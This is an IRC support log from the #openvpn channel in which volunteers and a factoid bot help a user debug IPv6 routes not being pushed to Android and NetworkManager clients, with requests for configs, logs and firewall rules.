12:07 <@vpnHelper> "ipv6" is (#1) The wiki has IPv6 details: https://community.openvpn.net/openvpn/wiki/IPv6 or (#2) The manpage contains info about IPv6 features present in 2.3+: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ
12:08 < HM2> that page is useless
12:08 < HM2> so i have to setup all the client IPv6 addresses manually?
12:08 < HM2> because i'm not getting an ipv6 address
12:09 < HM2> Routes: 0.0.0.0/0
12:09 < HM2> Routes IPv6: ::/0, ::/0
12:10 -!- gwraptor [~ma1com10t@host-92-20-50-44.as13285.net] has quit [Ping timeout: 260 seconds]
12:10 -!- gwraptor [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
12:11 < HM2> hmm this is odd
12:12 < HM2> i can ping across the VPN
12:12 <@krzee> both sides are 2.3?
12:12 <@krzee> you can ping using ipv6?
12:12 < HM2> no one is "OpenVPN for Android" :P
12:12 < HM2> yeah ping6 works from both sides
12:12 <@krzee> then whats the problem? ipv6 obviously works
12:12 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
12:13 < HM2> right, but tcp6 doesn't
12:13 < HM2> not sure why, no firewall hits
12:13 -!- gwraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has quit [Ping timeout: 260 seconds]
12:13 <@krzee> well if ping makes it across then everything else does from openvpn's angle, it must be filter related
12:14 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
12:17 < HM2> i can ping the phone from the server via the vpn
12:18 < HM2> but not the other way
12:19 < HM2> the other way says unknown host
12:19 < HM2> i don't even know how that's possible
12:19 <@krzee> plaisthos, does android even fully support ipv6 via vpn interface?
12:20 <@krzee> s/interface/api/
12:21 -!- gwraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
12:21 < HM2> it's worked in the past
12:21 <@krzee> ahh ok
12:21 < HM2> it's not working on my laptop either
12:21 <@krzee> and you set the routes, right?
12:22 < HM2> i didn't set any routes
12:23 <@krzee> ive never used ipv6, but post your configs and ill take a look
12:23 < HM2> server-ipv6 fd0a:16d8:1042::/64
12:23 < HM2> push "route-ipv6 0::0/0"
12:23 < HM2> that's all i have in the server config
12:24 < HM2> and i can ping my phone from the server, it gets ::1000
12:24 < HM2> but i can't ping the other way
12:24 -!- gwraptor [~ma1com10t@host-92-20-50-44.as13285.net] has quit [Ping timeout: 260 seconds]
12:24 <@krzee> when you sniff traffic do you see it trying?
12:25 < HM2> not sure how to accomplish that on Android
12:25 < HM2> i cant even figure out how to print the route table for ipv6
12:25 < HM2> ipv4 works but the route v4 table is useless anyway
12:26 < HM2> I'll switch to the VPN on my laptop and debug from there
12:26 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
12:26 -!- gwraptor [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
12:26 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Excess Flood]
12:27 <@krzee> ya if it doesnt work from the laptop you should debug there not android
12:27 < HM2> ok
12:28 < HM2> on my laptop ipv4 is going via the vpn but ipv6 is going via native
12:28 -!- Devastator [~devas@186.214.14.191] has joined #openvpn
12:29 -!- gwraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has quit [Ping timeout: 260 seconds]
12:29 -!- dvl [~dan@nyi.unixathome.org] has quit [Changing host]
12:29 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
12:29 <@krzee> so add a route
12:30 < HM2> right but it should be pulled from the server
12:34 < gwraptor> does snat/dnat work for a tap setup?
12:34 <@krzee> !redirect
12:34 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
12:34 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
12:34 <@krzee> try #3 HM2
12:35 -!- Devastator [~devas@186.214.14.191] has quit [Changing host]
12:35 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
12:36 < HM2> I'm using push "route-ipv6 0::0/0" atm
12:36 < HM2> ipv4 is working without redirect-gateway
12:38 < HM2> openvpn apparently doesn't log anything via NetworkManager
12:40 < HM2> there are no ipv6 routes at all over the vpn
12:41 < HM2> can't even ping this time
12:49 -!- gwraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has joined #openvpn
12:52 -!- gwraptor [~ma1com10t@host-92-20-50-44.as13285.net] has quit [Ping timeout: 260 seconds]
12:55 < gwraptor2> ?
12:58 -!- halcyon__ [~heraclitu@85.17.31.98] has joined #openvpn
13:00 -!- heraclitus [~heraclitu@unaffiliated/heraclitis] has quit [Ping timeout: 241 seconds]
13:05 <@plaisthos> gwraptor2: well. If you configure a server you should check yourself if the VPN network and your own network conflict. It is not like a server roam or gets random ips
13:08 -!- moparisthebest [~quassel@mailer.moparscape.org] has quit [Read error: Connection reset by peer]
13:08 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
13:08 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
13:08 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
13:08 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
13:09 <@plaisthos> HM2: have not read it all of your message but is the basic idea you want IPv6 working on your VPN?
13:11 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
13:24 -!- smerz [~smerz@f168194.upc-f.chello.nl] has joined #openvpn
13:39 -!- gwraptor2 [~ma1com10t@host-92-20-50-44.as13285.net] has left #openvpn []
13:40 -!- mgorbach [~mgorbach@pool-108-20-78-135.bstnma.fios.verizon.net] has quit [Read error: Connection reset by peer]
13:40 -!- dxtr [19b7d22c@unaffiliated/dxtr] has left #openvpn []
13:40 -!- mgorbach [~mgorbach@pool-108-20-78-135.bstnma.fios.verizon.net] has joined #openvpn
13:51 < HM2> plaisthos, yes!
13:53 < pekster> HM2: Did you start with the IPv6 wiki? Based on the route notes above, it sounds like you're trying to enable clients to route over the VPN? You probably want a 2000::/3 route in that case
13:57 -!- dvl [~dan@pdpc/supporter/active/dvl] has quit [Ping timeout: 240 seconds]
13:59 -!- dvl [~dan@nyi.unixathome.org] has joined #openvpn
14:00 < HM2> that's weird to me
14:00 < HM2> 0::/0 covers the entire internet
14:00 < pekster> 2000::/3 is the publicly-routable part of it
14:01 < pekster> You should't generally, f.ex, route ULA space over the VPN unless you intend to expose such ULA space that you're using server-side
14:01 < pekster> (ULA isn't globally routable)
14:03 < HM2> well it's not a public ipv6 subnet
14:03 < HM2> but it is an internet gateway
14:03 < pekster> What are you using now then? ULA?
14:04 < HM2> yes?
14:04 < HM2> maybe
14:04 < pekster> If it's not public IPv6, why are you trying to route to the Internet over it
14:04 < pekster> You can't do that
14:04 < pekster> See the IPv6 wiki page (!ipv6) for details, specifically the Requirements section
14:04 < pekster> You need global address space to route onto the v6-Internet
14:04 < HM2> all i want is to the openvpn server to push a ipv6 route and be the default gateway
14:05 < HM2> i don't care about the rest
14:05 < pekster> It won't work until you have "the rest" configured
14:05 < pekster> It's like asking for a car without an engine
14:05 < HM2> it was working some time ago
14:05 < HM2> the other side is nat'd
14:05 < HM2> even ipv6
14:05 < pekster> You're doing NAT on IPv6? WTF?
14:06 < pekster> You're Doing It Wrong™
14:06 < HM2> the server only has one /64 delegation
14:06 < HM2> i couldn't get anything else working
14:07 < pekster> Right, re-read Requirements and the 'Details: IPv6 routed block' section of the wiki and go yell at your provider
14:07 < HM2> look, it was working before
14:07 -!- Jaska_ [~Q@dsl-olubrasgw1-58c18d-189.dhcp.inet.fi] has joined #openvpn
14:08 < pekster> If they suck, find one that doesn't. Even tunnel brokers give you a /48 without asking any questions, and that's free! If an ISP/provider you pay money to can't do it, they're idiots
14:08 < HM2> even if it doesn't route properly, the damn openvpn server should be providing a route and gateway information
14:08 < pekster> Then provide a route..
14:08 -!- Jaska__ [~Q@gprs-internet-bcee18-202.dhcp.inet.fi] has quit [Ping timeout: 250 seconds]
14:08 < HM2> i thought that's what push "route-ipv6 0::0/0" did
14:08 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 250 seconds]
14:10 < HM2> tun0 has no ipv6 ip at all
14:11 < pekster> Then pushing a route obviously won't work. Read the wiki and pastebin some configs instead of trying to argue that you know what you're doing with IPv6 NAT (again, wtf dude?) and "that it worked before". I don't care.
14:11 < pekster> http://www.tldp.org/HOWTO/html_single/Linux+IPv6-HOWTO/ might be useful too if you're this new to IPv6
14:11 <@vpnHelper> Title: Linux IPv6 HOWTO (en) (at www.tldp.org)
14:11 < HM2> you can't not use NAT because you need /64 for lots of other things, like privacy extensions
14:11 < HM2> so anything going through a host with only a /64 has to use NAT
14:11 < pekster> Get more than a /64
14:12 < pekster> Have you even _READ_ the fucking wiki I've told you about 4 times now?
14:12 < pekster> !ipv6
14:12 < HM2> the only way to do that is with a tunnel
14:12 <@vpnHelper> "ipv6" is (#1) The wiki has IPv6 details: https://community.openvpn.net/openvpn/wiki/IPv6 or (#2) The manpage contains info about IPv6 features present in 2.3+: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ
14:12 < HM2> which means a third interface
14:12 < HM2> more firewall rules
14:12 < pekster> Get a _routed_ block
14:12 < pekster> Ask your ISP/provider for a /56 and be done with it
14:12 < HM2> my ISP charge a fortune for it
14:12 < pekster> Then they're idiots. You need a better one
14:12 < pekster> Or tunnelbroker.net
14:12 < HM2> great
14:12 < pekster> Or sixxs.net
14:12 < HM2> i already use tunnelbroker at home
14:13 < pekster> Those 2 are _FREE_ broker solutions that give you a /48, which is 65,536 unique /64's. Hopefully that's enough?
14:13 -!- klaxa [~klaxa@klaxa.eu] has quit [Remote host closed the connection]
14:13 < pekster> Again, you're doing this way wrong if you're trying to NAT. Outside of advance anycast/load-balancing situations in enterprise environments, there is no more NAT in IPv6
14:13 < pekster> Do what you want, but I'm not interested in helping you NAT with IPv6; maybe someone else is
14:14 < HM2> except the problem isn't the NAT
14:14  * pekster still hasn't seen configs, only whining about how great NAT is..
14:15 < pekster> !configs
14:15 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
14:15 < pekster> Maybe also:
14:15 < pekster> !logs
14:15 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
14:15 < pekster> Probably from the server:
14:15 < pekster> !interface
14:15 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
14:15 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
14:15 < HM2> even manually configuring the ipv6 ip on the clinet
14:15 < HM2> via network manager openvpn
14:15 < HM2> i do not get a new route in "route -6"
14:15 < pekster> netman sucks
14:15 < pekster> !netman
14:15 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
14:16 < HM2> yeah great, i'll just dick with routes manually instead every time i want to switch to the vpn
14:17 < pekster> Or you could try to get a working config so you know if n-m is your problem or not. You don't seem to actually want help here, so I'm not sure what you expect
14:17 < HM2> i want help debugging why openvpn isn't adjusting my ipv6 route tables
14:17 < pekster> Then read the 3 thingsn I asked for above
14:17 < HM2> does netman or openvpn do that?
14:17 < HM2> i'm guessing openvpn since openvpn receives the config
14:17 < pekster> Ignore n-m for now. I want your _openvpn_ config files
14:17 < pekster> If you don't have them, go create them
14:17 < pekster> !howto
14:17 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:18 < HM2> there's only one
14:18 < pekster> Then you've done something wrong
14:18 < HM2> no...one on the server
14:18 < pekster> Then you only have a server and haven't yet configured your client. Read the howto and configure it
14:19 < HM2> i have because i'm talking to you on it right now
14:19 < HM2> ipv4 is working fine
14:19 < HM2> perfectly
14:19 < HM2> (also NAT'd btw)
14:19 < pekster> Then _POST_ your config files. What's so hard about this?
14:19 < pekster> Did you not read !configs above? Was something in there confusing? Can I explain part of it better?
14:20 < pekster> !learn netman as Have OpenVPN working but not NetworkManager? Ask the n-m folks for help: http://projects.gnome.org/NetworkManager/
14:20 <@vpnHelper> Joo got it.
14:20 < HM2> http://pastebin.com/qxuAqfZX
14:20 < HM2> there
14:20 < HM2> that's the entire
14:21 < HM2> thing
14:21 < pekster> There's no client config there
14:21 < pekster> Where's your client config?
14:21 < HM2> there isn't a client config
14:21 < pekster> Then you don't have a clien
14:21 < HM2> openvpn for android is configured via that client
14:21 < HM2> netman is configured via that interface
14:21 < HM2> both work on ipv4
14:21 < HM2> ipv6 doesn't work
14:21 < pekster> !netman
14:21 <@vpnHelper> "netman" is (#1) if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list or (#2) Have OpenVPN working but not NetworkManager? Ask the n-m folks for help: http://projects.gnome.org/NetworkManager/
14:21 < pekster> Go ask the Gnome folks if you can't get n-m to work
14:21 < pekster> We don't support n-m, and it has lots of failures. You clearly aren't interested in making OpenVPN work, so please go bug downstream
14:22 < HM2> i'm not using gnome
14:22 < HM2> it's kdenetworkmanager
14:22 < pekster> NetworkManger is maintained by the gnome folks
14:22 < HM2> but whatever
14:22 <@plaisthos> HM2: android 4.4 by any canche?
14:22 <@plaisthos> HM2: and no native ipv6 conectivity
14:22 -!- calcifea [~rasla@gateway/tor-sasl/gitsu-sa] has quit [Remote host closed the connection]
14:22 < HM2> native ipv6 connectivity where?
14:22 <@plaisthos> HM2: on the android phone
14:23 < HM2> yeah it does
14:23 < HM2> the phone works fine on ipv6 on my home wifi
14:23 < HM2> native
14:23 < HM2> my laptop is also on my home wifi and is using native home ipv6, because openvpn hasn't pushed any ipv6 routes
14:23 <@plaisthos> yeah that is expected
14:23 < HM2> ipv4 is currently all over vpn on both my phone and laptop
14:23 < HM2> that clearly rules out the client imho
14:23 < HM2> 2 different client implementations
14:24 <@plaisthos> not really
14:24 <@plaisthos> OpenVPN for Android uses the same source code for the openvpn binary
14:24 <@plaisthos> just settings routes/ifconfig is different on Android
14:24 <@plaisthos> OpenVPN Connect has a different code base
14:24 < HM2> right, android doesn't set any routes for vpns
14:24 < HM2> it happens magically somewhere
14:24 < HM2> the Android VPN Service
14:25 <@plaisthos> no so magically ;)
14:25 < HM2> ok here's a simple question
14:25 < HM2> i have openvpn on my laptop
14:25 < pekster> plaisthos: Any reason why android would choke on a '0::0/0' route? (HM2, fwiw, '::/0' means the same thing)
14:26 <@plaisthos> pekster: no reason
14:26 <@plaisthos> should not
14:26 <@plaisthos> if android reject the route, OpenVPN for Android will print the error in the log
14:26 <@plaisthos> HM2: I am the android guy no idea about OpenVPN on LInux
14:26 < HM2> I don't have another phone to take a photo of the android log unfortunately
14:27 < HM2> OpenVPN for Android is getting an IPv6 IP
14:27 < HM2> ::1000 on the configured subnet
14:27 < HM2> my laptop isn't
14:27 < pekster> Right, that's how it's supposed to work
14:27 < pekster> THen you'd need configs/logs from your client
14:27 < HM2> right, but i still can't ping ::1 (the server)
14:27 < HM2> the server can ping the phone and get replies but not visa versa
14:28 < pekster> Check/fix your v6 firewall?
14:28 < pekster> What OS on the server?
14:28 < HM2> Arch
14:28 < HM2> headless
14:28 <@plaisthos> HM2: you know that there is an export button?
14:28 < pekster> You might want to review my commented very basic samples for a bare-bones Netfilter firewall setup: https://github.com/QueuingKoala/netfilter-samples
14:28 <@vpnHelper> Title: QueuingKoala/netfilter-samples · GitHub (at github.com)
14:29 < pekster> It's got ICMP echo-request as comments, and supports all the other ICMP you're supposed to (by RFC) accept
14:30 -!- klaxa [~klaxa@klaxa.eu] has joined #openvpn
14:30 <@plaisthos> but that sounds like the client working as expected and the problem is on the server
14:30 <@plaisthos> I agree with pekster on this
14:30 -!- mode/#openvpn [-o plaisthos] by ChanServ
14:31 < HM2> the server is configured to allow everything over ipv6 right now
14:31 < HM2> ip forwarding is enabled
14:31 < pekster> Forwarding doesn't even apply if you're trying to ping from client -> server
14:31 < HM2> DNS was getting through before because i had to change it to allow it when it hit the log
14:31 < pekster> You know you have bi-directional connectivity if your server can ping the client
14:31 < pekster> This is almost surely a firewall issue
14:32 < pekster> `ip6tables-save -c` somewhere would be a start
14:32 < HM2> doesn't make sense really, unless iptables is busted only for ip6
14:32 < HM2> the rules are identical save for the IPs (obviously)
14:32 < pekster> iptables is for IPv6. ip6tables is for IPv6
14:33 < pekster> Sorry, iptables -> IPv4
14:35 < HM2> bah
14:36 < HM2> it can't be the nAT
14:36 < HM2> i'd still be able to ping the servers vpn ipv6 address
14:36 < pekster> Maybe you don't understand that ip6tables does both firewalling and NAT?
14:37 < HM2> yes i understand that
14:37 < HM2> the firewall is in the forward chain
14:37 < HM2> effectively
14:37 < pekster> 14:32:11 < pekster> `ip6tables-save -c` somewhere would be a start
14:37 < HM2> -A FORWARD -i eth0 -o tun0 -d fd0a:16d8:1042::/64 -j VPN_IN
14:37 < HM2> -A FORWARD -i tun0 -o eth0 -s fd0a:16d8:1042::/64 -j VPN_OUT
14:37 < pekster> ..
14:37 < pekster> !paste
14:37 < HM2> like so
14:37 <@vpnHelper> "paste" is (#1) "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments or (#2) gist allows multiple files per paste, useful if you have several files to show
14:37 < pekster> And no, that is _not_ the complete output I asked for. Try again.
14:38 < pekster> You clearly have firewall rules, so past them _ALL_ if you want help. Or fix it yourself if you don't need help.
14:38 < HM2> i'm not giving you a complete output of my entire iptables config
14:38 < pekster> !topsecret
14:38 <@vpnHelper> "topsecret" is (#1) if your setup is so top secret that you cant post your configs or logs, please leave now and go find support you trust. or (#2) Clever readers may attempt to use RFC5737 to represent arbitrary public IPs one wishes to hide. Unclever attempts may be ignored with prejudice.
14:38 < pekster> Best of luck.
14:39 < pekster> !forget topsecret 2
14:39 <@vpnHelper> Joo got it.
14:40 < pekster> !learn topsecret as Clever readers may attempt to use RFC5737/RFC3849 to represent arbitrary public IPs one wishes to hide. Unclever attempts may be ignored with prejudice.
14:40 <@vpnHelper> Joo got it.
14:40 < HM2> hmm
14:40 < HM2> can ping the phone now
14:40 < HM2> latency is all over the place
14:43 < A_Pickle> So I have a question
14:43 < HM2> Ok Android has the default ipv6 gateway, and the correct IP. but it still can't ping the server hmm
14:43 < A_Pickle> I find that, after building the initial PKI, I am unable to go back into easy-rsa and generate new certificates for new clients.
14:44 < plaisthos> HM2: if you can ping the android from the server but not the way round OpenVPN is working correctly
14:44 < pekster> A_Pickle: easy-rsa v2, or the v3 release-candidate?
14:44 < plaisthos> HM2: there is some iptables/ip6tables stuff or icmp drop or whatever
14:45 < HM2> it's literally ALLOW policy
14:45 < pekster> HM2: There's also #Netfilter for Netfilter-specific help, but they'll tell you the same thing I did and generally refuse to help if you can't pastebin the ruleset
14:45 -!- steven776 [~martin@84.160.190.90.dyn.estpak.ee] has joined #openvpn
14:46 < A_Pickle> I get an error in the command line saying "WARNING: can't open config file:  etc/ssl/openssl.cnf"
14:46 < A_Pickle> Oh.
14:46 < A_Pickle> Is that not the one that's bundled with the current OpenVPN installer?
14:46 < pekster> A_Pickle: v2 requires you to source the "vars" file every time. v3 is much smarter and doesn't require you to do that
14:46 < pekster> A_Pickle: That's v2 (easy-rsa v3 probably won't be bundled with the Windows installer until 2.4)
14:47 < HM2> ping6 returns Destination Port unreachable
14:47 < pekster> Basically, v2 has no runtime defaults and requires you export into your environment all the config values. v3 has runtime defaults, so you don't even need a 'vars' file at all unless you wish to change them
14:51 < HM2> hold on
14:51 < HM2> the port unrechable message is coming from my home router
14:52 < HM2> ipv6 isn't even going over the vpn
14:53 < HM2> despite the fact "ip -6 route show" shows it as such
14:54 < HM2> it's not the server at all, it's the routes not being pushed right
14:58 < HM2> God I hate IPv6
15:02 < HM2> What' ipconfig-ipv6-pool about?
15:04 < pekster> Same as ifconfig-pool, but for IPv6
15:05 < pekster> Server-side pool from which to allocate client IPs
15:07 < plaisthos> HM2: android version?
15:07 < HM2> 4.4.2
15:08 < HM2> it's getting all the routes but OVPn for Android isn't setting the default ipv6 gateway
15:08 < plaisthos> HM2: that sound odd
15:08 < plaisthos> HM2: can you show me the log from the client?
15:09 < plaisthos> btw. ipv6 vpn often don't work on 4.4 because of this bug http://code.google.com/p/android/issues/detail?id=62588&
15:09 <@vpnHelper> Title: Issue 62588 - android - VPNService can only provide connectivity for routes that are reachable without VPN - Android Open Source Project - Issue Tracker - Google Project Hosting (at code.google.com)
15:10 < HM2> ok well i'm not getting any routes on my laptop either
15:10 < HM2> the IPv4 table is *perfect*
15:11 < HM2> tun0 doesn't appear at all in "ip -6 route"
15:11 < plaisthos> HM2: you should provide  a log from the client
15:12 < HM2> https://mail.gnome.org/archives/networkmanager-list/2013-August/msg00069.html
15:12 <@vpnHelper> Title: Re: IPv6 in network-manager-openvpn (at mail.gnome.org)
15:12 < HM2> this seems relevant
15:13 < pekster> Send n-m problems downstream please
15:14 < pekster> If it works with a standard OpenVPN config but not n-m, it's clearly a bug in their product
15:14 < pekster> Obviously it's an important distinction if it works with openvpn but not n-m, or something isn't working in openvpn specifically
15:14 < HM2> push "route-ipv6 2000::/3" didn't work on either either
15:14 < HM2> it just doesn't show up in the routes table
15:15 < pekster> I've been away for a little bit, but did I miss an openvpn client config paste and logs?
15:15 < HM2> i don't have a hand written client config
15:15  * pekster shrugs
15:16 < plaisthos> HM2: the android client can export the generated configuration and the log with export button
15:16 < plaisthos> if you provide these we can help
15:16 < plaisthos> !logs
15:16 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:16 < plaisthos> hm not what I wanted
15:17 < pekster> Need an android addition to that?
15:17 < HM2> well the 2 most popular human interfaces to openvpn, outside of windows anyway, are possibly broken when it comes to ipv6
15:17 < HM2> so hurrah
15:17 < plaisthos> pekster: for exporting the log?
15:17 < plaisthos> HM2: ?!
15:18 < pekster> Many people, like you, come here complaining a lot about network-manager. Few to none of them care enough to report or help downstream fix it, thus it remains broken
15:18 < plaisthos> HM2: OpenVPN for Android works fine with IPv6
15:19 < HM2> i've taken the firewall down entirely now. i can still ping the phone from the server but not visa versa
15:19 < HM2> when i try to ping the server from the phone, it goes over wifi
15:19 < pekster> plaisthos: Yea, if it's helpful, info or another factoid reference might help Android users there
15:19 < HM2> openvpn isn't setting the default route on ipv6
15:19 < plaisthos> pekster: have you used the client?
15:19 -!- halcyon__ [~heraclitu@85.17.31.98] has quit [Ping timeout: 272 seconds]
15:20 < pekster> plaisthos: No, my Android device is too old :\
15:20 < plaisthos> pekster: there is share icon right in top of the config and the log window
15:20 < HM2> 2000::/3 appears in the openvpn log
15:20 < HM2> but it's not added to the route table
15:20 < plaisthos> HM2: I am out
15:20 < HM2> it says "Routes IPv6: 0::/3, 2000::/3"
15:20 < HM2> but it doesn't add them
15:20 -!- JackSummer [~jack@241.Red-79-154-47.dynamicIP.rima-tde.net] has quit [Ping timeout: 250 seconds]
15:20 < plaisthos> HM2: Whatever, post the whole log or let someone else help you
15:21 < HM2> it's tricky to post a log off a phone
15:21 < plaisthos> HM2: no it is not
15:22 < plaisthos> HM2: click the share button, select something like mail or install a pastebin application and volia log on your other computer
15:23 < HM2> well neither openvpn for android, nor openvpn on my laptop add the 2000::/3 route to the table
15:23 < HM2> even though both receive it
15:24 < pekster> That's the symptom, not the cause. By refusing to share logs that identify this cause with the experts present you won't receive help
15:24 < pekster> This is why we've lost interest in caring
15:24 < plaisthos> yeah
15:24 < HM2> ok
15:24 < HM2> how do i make openvpn make a log on my laptop?
15:24 < plaisthos> HM2: on android trust the app
15:25 < plaisthos> HM2: unless you really know how VpnService internally works you will come to wrong conclusions
15:25 < HM2> the conclusion that the default ipv6 route is the link local address for my wifi?
15:26 < plaisthos> yeah :)
15:26 < plaisthos> look at ipv4
15:26 < HM2> i don't even care about the damn phone
15:26 < HM2> i need it working on my laptop
15:26 < plaisthos> the default route will also be your default route
15:26 < plaisthos> your wifi route
15:27 < HM2> yeah ok
15:27 < HM2> it is
15:27 < HM2> forget the phone
15:27 < HM2> i really need this working on the laptop
15:27 < plaisthos> I am out ;)
15:28 < HM2> openvpn/netman isn't receiving ipv6 settings at all
15:28 < HM2> i guess i'll just set it all manually
15:33 < HM2> grrr
15:33 < HM2> netman doesnt even work when you set ipv6 MANUALLY
15:37 < pekster> netman is not us. Go bug the gnome folks if you don't want to use openvpn as your interface
15:40 -!- intricate [~intricate@unaffiliated/intricate] has quit [Quit: http://xach.org]
15:44 < HM2> network manager obviously sucks
15:45 < HM2> openvpn for android obviously sucks
15:45 -!- intricate [~xach@unaffiliated/intricate] has joined #openvpn
15:45 < HM2> i'll just go back to a raw service and config files like it's the 80s
15:48 < pekster> How do you think n-m actually works? It's just sending the determined config to the process as either a temporary config file or CLI arguments
15:48 < pekster> If we don't know how you're calling openvpn, you can't get help from us. It's very simple, and you're treating this like we owe you support (we don't) for a product we don't maintain (we can't even do that if we wanted to)
15:48 < HM2> yes, but it's set to automatic for most things
15:48 < HM2> openvpn is supposed to be setting the routes surely
15:49 < pekster> What makes you think the problem is even openvpn? You don't even have logs to back that up
15:49 < pekster> Try harder. Less bitching, more productive actions
15:49 < HM2> ipv4 works
15:49 < HM2> ipv6 should work
15:50 < HM2> simple as that
15:59 < HM2> systemctl logs are useless
15:59 < pekster> OpenVPN logs dude. You've been here _hours_ and had this linked to you an awful lot
15:59 < pekster> !logs
15:59 <@vpnHelper> "logs" is (#1) please pastebin your logfiles from both client and server with verb set to 4 (only use 5 if asked) or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it and select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:59 < HM2> it didn't create any
15:59 < pekster> FFS, then read more
15:59 < pekster> !logfile
15:59 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
16:01 < pekster> I would declare that as pretty obvious if you had read that when it was linked to you over the past several hours. Was "if you don't know how to find your logs, see !logfile" confusing?
16:01 < pekster> !new
16:01 <@vpnHelper> "new" is (#1) New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto or (#2) You can type each of the !commands in this chat and our bot will provide useful references and info or (#3) you can see the full factoids list at !factoids
16:01 < pekster> Maybe using the bot is confusing? (#2) above should help you. Maybe you're just a lazy person, and that I can't help. I don't know.
16:02 < HM2> ok
16:02 < HM2> ipv4 and ipv6 both work now except not set as default route
16:06 < HM2> push "default-gateway" ?
16:11 -!- klein [~klein@unaffiliated/klein] has quit [Quit: Leaving]
16:12 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
16:15 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
16:17 < HM2> NOTE: unable to redirect default gateway -- Cannot read current default gateway from system
16:19 < HM2> is this the result of privacy extensions or something?
16:19 < HM2> 2 default entries in the route6 table
16:20 < pekster> That's an IPv4-centric message
16:21 < pekster> It occurs when OpenVPN can't determine the existing gateway in use in order to perform step #1 listed in the manpage under --redirect-gateway
16:21 < pekster> The only real way around that is to add in the host-route to the server (to avoid creating a routing loop with the /1 routes, or /0 if you're not using def1) and then add in the /1 routes
16:22 < HM2> why can't it determine the existing gateway
16:22 < pekster> You can f.ex get that when using a default route on Linux that is routed only via an interface, which Linux allows (common on PtP interfaces,) but prevents OpenVPN from determining the actual address used
16:22 < pekster> What's the existing routing table look like before connecting? `ip route show`
16:23 -!- suprsonic [~suprsonic@services.landonsanderson.com] has left #openvpn []
16:23 < HM2> default via 192.168.1.1 dev wlan0  proto static
16:23 < HM2> 192.168.1.0/24 dev wlan0  proto kernel  scope link  src 192.168.1.2  metric 9
16:23 < HM2> ip6 table is a little messier
16:23 < HM2> there are 2 default entries, one labelled "static", the other "ra"
16:25 < HM2> i think it's ipv6 causing the problem
16:28 < HM2> hopeless
16:28 < pekster> Yes, with the information you're willing to provide it is
16:28 < HM2> what information do you need?
16:29 < HM2> i'm being an irc bouncer, i've bene connecting and disconnecting dozens of times
16:30 < HM2> Options error: Unrecognized option or missing parameter(s) in [PUSH-OPTIONS]:3: redirect-gateway-ipv6 (2.3.2)
